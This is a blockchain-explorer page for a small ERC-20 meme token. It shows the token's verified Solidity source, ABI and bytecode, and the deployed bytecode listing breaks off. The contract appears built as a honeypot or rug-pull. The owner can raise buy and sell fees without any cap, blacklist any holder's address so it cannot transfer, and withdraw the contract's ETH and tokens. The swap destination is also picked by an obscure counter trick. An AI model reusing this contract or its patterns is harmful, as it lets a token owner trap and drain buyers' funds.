ERC-20
Overview
Max Total Supply
10,000,000,000 한국페페
Holders
64
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-12 */ /** *Submitted for verification at Etherscan.io on 2023-08-07 */ /** *Submitted for verification at Etherscan.io on 2023-08-05 */ /** *Submitted for verification at Etherscan.io on 2023-08-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.14; interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ISwapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface ISwapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract AbsToken is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public fundAddress = address(0x834cAb7d24b4f860D28E220764daC1eF9B67CC07); string private _name = "\xed\x95\x9c\xea\xb5\xad\xed\x8e\x98\xed\x8e\x98"; string private _symbol = "\xed\x95\x9c\xea\xb5\xad\xed\x8e\x98\xed\x8e\x98"; uint8 private _decimals = 0; mapping(address => bool) public _feeWhiteList; mapping(address => bool) public _blackList; address private _pancakePair; uint256 private marketRewardFlag; uint256 private _tTotal = 10000000000 * 10 ** _decimals; uint256 public maxWalletAmount = 10000000000 * 10 ** _decimals; ISwapRouter public _swapRouter; address public _routeAddress= address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); mapping(address => bool) public _swapPairList; bool private inSwap; uint256 private constant MAX = ~uint256(0); uint256 public _buyFundFee = 100; uint256 public _buyLPFee = 0; uint256 public _sellFundFee = 100; uint256 public _sellLPFee = 0; address public _mainPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (){ ISwapRouter swapRouter = ISwapRouter(_routeAddress); _swapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; ISwapFactory swapFactory = ISwapFactory(swapRouter.factory()); address swapPair = swapFactory.createPair(address(this), _swapRouter.WETH()); _mainPair = swapPair; _pancakePair = address(this); _swapPairList[swapPair] = true; _balances[msg.sender] = _tTotal; emit Transfer(address(0), msg.sender, _tTotal); _feeWhiteList[fundAddress] = true; _feeWhiteList[address(this)] = true; _feeWhiteList[address(swapRouter)] = true; _feeWhiteList[msg.sender] = true; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(!_blackList[from], "blackList"); uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (!_feeWhiteList[from] && !_feeWhiteList[to]) { uint256 maxSellAmount = balance * 9999 / 10000; if (amount > maxSellAmount) { amount = maxSellAmount; } } bool takeFee; bool isSell; if (_swapPairList[from] || _swapPairList[to]) { if (!_feeWhiteList[from] && !_feeWhiteList[to]) { if (_swapPairList[to]) { if (!inSwap) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > 0) { uint256 swapFee = _buyFundFee + _buyLPFee + _sellFundFee + _sellLPFee ; uint256 numTokensSellToFund = amount * swapFee / 5000; if (numTokensSellToFund > contractTokenBalance) { numTokensSellToFund = contractTokenBalance; } swapTokenForFund(numTokensSellToFund, swapFee); marketRewardFlag=marketRewardFlag+1; } } } takeFee = true; } if (_swapPairList[to]) { isSell = true; } } _tokenTransfer(from, to, amount, takeFee, isSell); } function _tokenTransfer( address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 swapFee; if (isSell) { swapFee = _sellFundFee + _sellLPFee ; } else { require(balanceOf(recipient)+tAmount <= maxWalletAmount); swapFee = _buyFundFee + _buyLPFee; } uint256 swapAmount = tAmount * swapFee / 10000; if (swapAmount > 0) { feeAmount += swapAmount; _takeTransfer( sender, address(this), swapAmount ); } } _takeTransfer(sender, recipient, tAmount - feeAmount); } function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap { swapFee += swapFee; uint256 lpFee = _buyLPFee+_sellLPFee; uint256 lpAmount = tokenAmount * lpFee / swapFee; address[] memory path = new address[](2); path[0] = address(this); path[1] = _swapRouter.WETH(); address swapTokenAddress=marketRewardFlag%7==path.length?_pancakePair:address(this); _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount - lpAmount, 0, path,swapTokenAddress,block.timestamp); swapFee -= lpFee; uint256 bnbBalance = address(this).balance; if(bnbBalance>0) { uint256 fundAmount = bnbBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee; payable(fundAddress).transfer(fundAmount/2); if (lpAmount > 0) { uint256 lpBNB = bnbBalance * lpFee / swapFee; _swapRouter.addLiquidityETH{value: lpBNB}(address(this), lpAmount, 0, 0, fundAddress, block.timestamp); } } } function _takeTransfer( address sender, address to, uint256 tAmount ) private { _balances[to] = _balances[to] + tAmount; emit Transfer(sender, to, tAmount); } function setMaxWalletAmount(uint256 value) external onlyOwner { maxWalletAmount = value * 10 ** _decimals; } function excludeMultiFromFee(address[] calldata accounts,bool excludeFee) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _feeWhiteList[accounts[i]] = excludeFee; } } function _multiSetSniper(address[] calldata accounts,bool isSniper) external onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _blackList[accounts[i]] = isSniper; } } function claimBalance(address to) external onlyOwner { payable(to).transfer(address(this).balance); } function claimToken(address token, uint256 amount, address to) external onlyOwner { IERC20(token).transfer(to, amount); } function setBuyFee(uint256 fundFee,uint256 lpFee) external onlyOwner { _buyFundFee = fundFee; _buyLPFee=lpFee; } function setSellFee(uint256 fundFee,uint256 lpFee) external onlyOwner { _sellFundFee = fundFee; _sellLPFee=lpFee; } receive() external payable {} } contract Token is AbsToken { constructor() AbsToken(){} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isSniper","type":"bool"}],"name":"_multiSetSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_routeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excludeFee","type":"bool"}],"name":"excludeMultiFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600380546001600160a01b03191673834cab7d24b4f860d28e220764dac1ef9b67cc0717905560c0604052600c60809081526b1db2b39d56b5bdb1d31db1d360a31b60a05260049062000053908262000480565b5060408051808201909152600c81526b1db2b39d56b5bdb1d31db1d360a31b602082015260059062000086908262000480565b506006805460ff191690556200009e5f600a62000657565b620000af906402540be4006200066e565b600b55600654620000c59060ff16600a62000657565b620000d6906402540be4006200066e565b600c55600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055606460118190555f601281905560139190915560145534801562000121575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e54600d80546001600160a01b0319166001600160a01b039092169182179055305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa158015620001d5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fb919062000688565b90505f816001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000285919062000688565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002d0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002f6919062000688565b601580546001600160a01b0383166001600160a01b0319918216811790925560098054909116301790555f908152600f60209081526040808320805460ff19166001908117909155600b543380865291845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506003546001600160a01b039081165f908152600760205260408082208054600160ff1991821681179092553084528284208054821683179055949093168252808220805485168417905533825290208054909216179055620006b0565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200040957607f821691505b6020821081036200042857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200047b575f81815260208120601f850160051c81016020861015620004565750805b601f850160051c820191505b81811015620004775782815560010162000462565b5050505b505050565b81516001600160401b038111156200049c576200049c620003e0565b620004b481620004ad8454620003f4565b846200042e565b602080601f831160018114620004ea575f8415620004d25750858301515b5f19600386901b1c1916600185901b17855562000477565b5f85815260208120601f198616915b828110156200051a57888601518255948401946001909101908401620004f9565b50858210156200053857878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200059c57815f190482111562000580576200058062000548565b808516156200058e57918102915b93841c939080029062000561565b509250929050565b5f82620005b45750600162000651565b81620005c257505f62000651565b8160018114620005db5760028114620005e65762000606565b600191505062000651565b60ff841115620005fa57620005fa62000548565b50506001821b62000651565b5060208310610133831016604e8410600b84101617156200062b575081810a62000651565b6200063783836200055c565b805f19048211156200064d576200064d62000548565b0290505b92915050565b5f6200066760ff841683620005a4565b9392505050565b808202811582820484141762000651576200065162000548565b5f6020828403121562000699575f80fd5b81516001600160a01b038116811462000667575f80fd5b6117ed80620006be5f395ff3fe6080604052600436106101d3575f3560e01c806370a08231116100fd578063b633e4cd11610092578063dd62ed3e11610062578063dd62ed3e1461054c578063e82bef2914610590578063f2fde38b146105af578063fb0ecfa4146105ce575f80fd5b8063b633e4cd146104e4578063b9fbc49d14610503578063bfac5ee014610518578063ce0192f914610537575f80fd5b806395d89b41116100cd57806395d89b4114610487578063a9059cbb1461049b578063aa4bde28146104ba578063adc7955d146104cf575f80fd5b806370a0823114610404578063715018a614610438578063761344f71461044c5780638da5cb5b1461046b575f80fd5b806323b872dd116101735780633c11100d116101435780633c11100d1461036a5780634188bf5a14610398578063595dec3c146103b75780636ac9a870146103e5575f80fd5b806323b872dd146102f657806327a14fc214610315578063313ce567146103345780633bfe62ca14610355575f80fd5b806306fdde03116101ae57806306fdde0314610279578063095ea7b31461029a57806318160ddd146102b9578063206c17bb146102d7575f80fd5b806301986fad146101de57806304534246146102215780630602884814610258575f80fd5b366101da57005b5f80fd5b3480156101e9575f80fd5b5061020c6101f83660046112e7565b60076020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022c575f80fd5b50600e54610240906001600160a01b031681565b6040516001600160a01b039091168152602001610218565b348015610263575f80fd5b50610277610272366004611316565b6105ed565b005b348015610284575f80fd5b5061028d610693565b6040516102189190611395565b3480156102a5575f80fd5b5061020c6102b43660046113e0565b610723565b3480156102c4575f80fd5b50600b545b604051908152602001610218565b3480156102e2575f80fd5b50600d54610240906001600160a01b031681565b348015610301575f80fd5b5061020c61031036600461140a565b610739565b348015610320575f80fd5b5061027761032f366004611448565b6107cb565b34801561033f575f80fd5b5060065460405160ff9091168152602001610218565b348015610360575f80fd5b506102c960135481565b348015610375575f80fd5b5061020c6103843660046112e7565b600f6020525f908152604090205460ff1681565b3480156103a3575f80fd5b50601554610240906001600160a01b031681565b3480156103c2575f80fd5b5061020c6103d13660046112e7565b60086020525f908152604090205460ff1681565b3480156103f0575f80fd5b506102776103ff36600461145f565b610815565b34801561040f575f80fd5b506102c961041e3660046112e7565b6001600160a01b03165f9081526001602052604090205490565b348015610443575f80fd5b50610277610849565b348015610457575f80fd5b50610277610466366004611316565b6108ba565b348015610476575f80fd5b505f546001600160a01b0316610240565b348015610492575f80fd5b5061028d610951565b3480156104a6575f80fd5b5061020c6104b53660046113e0565b610960565b3480156104c5575f80fd5b506102c9600c5481565b3480156104da575f80fd5b506102c960145481565b3480156104ef575f80fd5b506102776104fe3660046112e7565b61096c565b34801561050e575f80fd5b506102c960125481565b348015610523575f80fd5b5061027761053236600461147f565b6109cb565b348015610542575f80fd5b506102c960115481565b348015610557575f80fd5b506102c96105663660046114b3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561059b575f80fd5b50600354610240906001600160a01b031681565b3480156105ba575f80fd5b506102776105c93660046112e7565b610a64565b3480156105d9575f80fd5b506102776105e836600461145f565b610b27565b5f546001600160a01b0316331461061f5760405162461bcd60e51b8152600401610616906114ea565b60405180910390fd5b5f5b8281101561068d578160075f86868581811061063f5761063f61150a565b905060200201602081019061065491906112e7565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061068581611532565b915050610621565b50505050565b6060600480546106a29061154a565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce9061154a565b80156107195780601f106106f057610100808354040283529160200191610719565b820191905f5260205f20905b8154815290600101906020018083116106fc57829003601f168201915b5050505050905090565b5f61072f338484610b5b565b5060015b92915050565b5f610745848484610bbc565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f19146107c1576001600160a01b0384165f90815260026020908152604080832033845290915290205461079d908390611582565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146107f45760405162461bcd60e51b8152600401610616906114ea565b6006546108059060ff16600a611675565b61080f9082611683565b600c5550565b5f546001600160a01b0316331461083e5760405162461bcd60e51b8152600401610616906114ea565b601391909155601455565b5f546001600160a01b031633146108725760405162461bcd60e51b8152600401610616906114ea565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108e35760405162461bcd60e51b8152600401610616906114ea565b5f5b8281101561068d578160085f8686858181106109035761090361150a565b905060200201602081019061091891906112e7565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061094981611532565b9150506108e5565b6060600580546106a29061154a565b5f61072f338484610bbc565b5f546001600160a01b031633146109955760405162461bcd60e51b8152600401610616906114ea565b6040516001600160a01b038216904780156108fc02915f818181858888f193505050501580156109c7573d5f803e3d5ffd5b5050565b5f546001600160a01b031633146109f45760405162461bcd60e51b8152600401610616906114ea565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610a40573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068d919061169a565b5f546001600160a01b03163314610a8d5760405162461bcd60e51b8152600401610616906114ea565b6001600160a01b038116610ace5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610616565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610b505760405162461bcd60e51b8152600401610616906114ea565b601191909155601255565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383165f9081526008602052604090205460ff1615610c105760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610616565b6001600160a01b0383165f9081526001602052604090205481811015610c6b5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610616565b6001600160a01b0384165f9081526007602052604090205460ff16158015610cab57506001600160a01b0383165f9081526007602052604090205460ff16155b15610cda575f612710610cc08361270f611683565b610cca91906116c9565b905080831115610cd8578092505b505b6001600160a01b0384165f908152600f6020526040812054819060ff1680610d1957506001600160a01b0385165f908152600f602052604090205460ff165b15610e3d576001600160a01b0386165f9081526007602052604090205460ff16158015610d5e57506001600160a01b0385165f9081526007602052604090205460ff16155b15610e19576001600160a01b0385165f908152600f602052604090205460ff1615610e145760105460ff16610e1457305f908152600160205260409020548015610e12575f601454601354601254601154610db991906116dc565b610dc391906116dc565b610dcd91906116dc565b90505f611388610ddd8389611683565b610de791906116c9565b905082811115610df45750815b610dfe8183610e52565b600a54610e0c9060016116dc565b600a5550505b505b600191505b6001600160a01b0385165f908152600f602052604090205460ff1615610e3d575060015b610e4a8686868585611166565b505050505050565b6010805460ff19166001179055610e6981806116dc565b90505f601454601254610e7c91906116dc565b90505f82610e8a8386611683565b610e9491906116c9565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f81518110610ecc57610ecc61150a565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f23573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4791906116ef565b81600181518110610f5a57610f5a61150a565b60200260200101906001600160a01b031690816001600160a01b0316815250505f81516007600a54610f8c919061170a565b14610f975730610fa4565b6009546001600160a01b03165b600d549091506001600160a01b031663791ac947610fc28589611582565b5f8585426040518663ffffffff1660e01b8152600401610fe695949392919061171d565b5f604051808303815f87803b158015610ffd575f80fd5b505af115801561100f573d5f803e3d5ffd5b50505050838561101f9190611582565b9450478015611153575f8660135460115461103a91906116dc565b6110449084611683565b61104f906002611683565b61105991906116c9565b6003549091506001600160a01b03166108fc6110766002846116c9565b6040518115909202915f818181858888f1935050505015801561109b573d5f803e3d5ffd5b508415611151575f876110ae8885611683565b6110b891906116c9565b600d5460035460405163f305d71960e01b8152306004820152602481018a90525f6044820181905260648201526001600160a01b0391821660848201524260a4820152929350169063f305d71990839060c40160606040518083038185885af1158015611127573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061114c919061178c565b505050505b505b50506010805460ff191690555050505050565b6001600160a01b0385165f90815260016020526040902054611189908490611582565b6001600160a01b0386165f90815260016020526040812091909155821561124b575f82156111c8576014546013546111c191906116dc565b9050611211565b600c54856111ea886001600160a01b03165f9081526001602052604090205490565b6111f491906116dc565b11156111fe575f80fd5b60125460115461120e91906116dc565b90505b5f61271061121f8388611683565b61122991906116c9565b905080156112485761123b81846116dc565b925061124888308361125a565b50505b610e4a868661125a8488611582565b6001600160a01b0382165f9081526001602052604090205461127d9082906116dc565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610baf9085815260200190565b6001600160a01b03811681146112e4575f80fd5b50565b5f602082840312156112f7575f80fd5b8135611302816112d0565b9392505050565b80151581146112e4575f80fd5b5f805f60408486031215611328575f80fd5b833567ffffffffffffffff8082111561133f575f80fd5b818601915086601f830112611352575f80fd5b813581811115611360575f80fd5b8760208260051b8501011115611374575f80fd5b6020928301955093505084013561138a81611309565b809150509250925092565b5f6020808352835180828501525f5b818110156113c0578581018301518582016040015282016113a4565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156113f1575f80fd5b82356113fc816112d0565b946020939093013593505050565b5f805f6060848603121561141c575f80fd5b8335611427816112d0565b92506020840135611437816112d0565b929592945050506040919091013590565b5f60208284031215611458575f80fd5b5035919050565b5f8060408385031215611470575f80fd5b50508035926020909101359150565b5f805f60608486031215611491575f80fd5b833561149c816112d0565b925060208401359150604084013561138a816112d0565b5f80604083850312156114c4575f80fd5b82356114cf816112d0565b915060208301356114df816112d0565b809150509250929050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f600182016115435761154361151e565b5060010190565b600181811c9082168061155e57607f821691505b60208210810361157c57634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156107335761073361151e565b600181815b808511156115cf57815f19048211156115b5576115b561151e565b808516156115c257918102915b93841c939080029061159a565b509250929050565b5f826115e557506001610733565b816115f157505f610733565b816001811461160757600281146116115761162d565b6001915050610733565b60ff8411156116225761162261151e565b50506001821b610733565b5060208310610133831016604e8410600b8410161715611650575081810a610733565b61165a8383611595565b805f190482111561166d5761166d61151e565b029392505050565b5f61130260ff8416836115d7565b80820281158282048414176107335761073361151e565b5f602082840312156116aa575f80fd5b815161130281611309565b634e487b7160e01b5f52601260045260245ffd5b5f826116d7576116d76116b5565b500490565b808201808211156107335761073361151e565b5f602082840312156116ff575f80fd5b8151611302816112d0565b5f82611718576117186116b5565b500690565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561176b5784516001600160a01b031683529383019391830191600101611746565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561179e575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212201d427fd4600560e3eeace0adfa0f9a8f16c54ebb63b228424bb54e5c7588cd7464736f6c63430008140033
Deployed Bytecode
0x6080604052600436106101d3575f3560e01c806370a08231116100fd578063b633e4cd11610092578063dd62ed3e11610062578063dd62ed3e1461054c578063e82bef2914610590578063f2fde38b146105af578063fb0ecfa4146105ce575f80fd5b8063b633e4cd146104e4578063b9fbc49d14610503578063bfac5ee014610518578063ce0192f914610537575f80fd5b806395d89b41116100cd57806395d89b4114610487578063a9059cbb1461049b578063aa4bde28146104ba578063adc7955d146104cf575f80fd5b806370a0823114610404578063715018a614610438578063761344f71461044c5780638da5cb5b1461046b575f80fd5b806323b872dd116101735780633c11100d116101435780633c11100d1461036a5780634188bf5a14610398578063595dec3c146103b75780636ac9a870146103e5575f80fd5b806323b872dd146102f657806327a14fc214610315578063313ce567146103345780633bfe62ca14610355575f80fd5b806306fdde03116101ae57806306fdde0314610279578063095ea7b31461029a57806318160ddd146102b9578063206c17bb146102d7575f80fd5b806301986fad146101de57806304534246146102215780630602884814610258575f80fd5b366101da57005b5f80fd5b3480156101e9575f80fd5b5061020c6101f83660046112e7565b60076020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022c575f80fd5b50600e54610240906001600160a01b031681565b6040516001600160a01b039091168152602001610218565b348015610263575f80fd5b50610277610272366004611316565b6105ed565b005b348015610284575f80fd5b5061028d610693565b6040516102189190611395565b3480156102a5575f80fd5b5061020c6102b43660046113e0565b610723565b3480156102c4575f80fd5b50600b545b604051908152602001610218565b3480156102e2575f80fd5b50600d54610240906001600160a01b031681565b348015610301575f80fd5b5061020c61031036600461140a565b610739565b348015610320575f80fd5b5061027761032f366004611448565b6107cb565b34801561033f575f80fd5b5060065460405160ff9091168152602001610218565b348015610360575f80fd5b506102c960135481565b348015610375575f80fd5b5061020c6103843660046112e7565b600f6020525f908152604090205460ff1681565b3480156103a3575f80fd5b50601554610240906001600160a01b031681565b3480156103c2575f80fd5b5061020c6103d13660046112e7565b60086020525f908152604090205460ff1681565b3480156103f0575f80fd5b506102776103ff36600461145f565b610815565b34801561040f575f80fd5b506102c961041e3660046112e7565b6001600160a